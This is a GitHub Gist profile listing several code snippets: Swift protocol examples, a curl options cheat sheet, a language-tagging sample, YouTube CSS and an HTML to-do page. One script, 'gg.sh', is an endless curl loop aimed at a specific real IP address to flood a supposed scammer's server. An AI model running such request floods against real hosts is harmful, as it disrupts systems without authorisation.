Skip to content

Instantly share code, notes, and snippets.

View ShawonAshraf's full-sized avatar
🐈
I'm simply not there.

Shawon Ashraf ShawonAshraf

🐈
I'm simply not there.
View GitHub Profile
@ShawonAshraf
ShawonAshraf / pat-5.swift
Created July 3, 2019 14:21
Swift PAT - 5
protocol PlayerDescriptorProtocol {
func describeSpeciality()
}
struct CricketPlayer : PlayerDescriptorProtocol {
var name: String
var age: Int
var speciality: String
var infoPage: String
@ShawonAshraf
ShawonAshraf / pat-4.swift
Created July 3, 2019 14:19
Swift PAT - 4
struct CricketPlayerDescriptor: PlayerDescriptorProtocol {
typealias PlayerType = CricketPlayer
func describeSpeciality(of type: PlayerType) {
print("\(type.speciality)")
}
}
var cricketDescriptor = CricketPlayerDescriptor()
cricketDescriptor.describeSpeciality(of: shaks)
@ShawonAshraf
ShawonAshraf / pat-3.swift
Created July 3, 2019 14:18
Swift PAT - 3
struct CricketPlayer {
var name: String
var age: Int
var speciality: String
var infoPage: String
init(name: String, age: Int, speciality: String, infoPage: String) {
self.name = name
self.age = age
self.speciality = speciality
@ShawonAshraf
ShawonAshraf / pat-2.swift
Created July 3, 2019 14:17
Swift PAT - 2
protocol PlayerDescriptorProtocol {
associatedtype PlayerType
func describeSpeciality(of type:PlayerType)
}
@ShawonAshraf
ShawonAshraf / pat.swift
Created July 3, 2019 14:16
Swift PAT - 1 Medium and Blog
protocol PlayerDescriptorProtocol {
func describeSpeciality()
}
@ShawonAshraf
ShawonAshraf / curl.md
Created May 21, 2019 18:19 — forked from subfuzion/curl.md
curl POST examples

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

@ShawonAshraf
ShawonAshraf / gg.sh
Created May 21, 2019 17:58
Scam the scammer server
while true
do
curl -l http://107.161.114.76/nsu/home/dashboard
done
import Foundation
let tagger = NSLinguisticTagger(tagSchemes:[.tokenType, .language, .lexicalClass, .nameType, .lemma], options: 0)
let options: NSLinguisticTagger.Options = [.omitPunctuation, .omitWhitespace, .joinNames]
let quote = "এসব দেখি কানার হাটবাজার!"
func determineLanguage(for text: String) -> String {
tagger.string = text
let language = tagger.dominantLanguage
@ShawonAshraf
ShawonAshraf / nyancat-yt.css
Created March 19, 2019 06:13
nyancat progress bar for youtube
.html5-play-progress, .ytp-play-progress {
background: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAMCAIAAAAs6UAAAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6QUNCQzIyREQ0QjdEMTFFMzlEMDM4Qzc3MEY0NzdGMDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6QUNCQzIyREU0QjdEMTFFMzlEMDM4Qzc3MEY0NzdGMDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5
@ShawonAshraf
ShawonAshraf / index.html
Created November 3, 2018 22:26
TODO List JS
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Todo</title>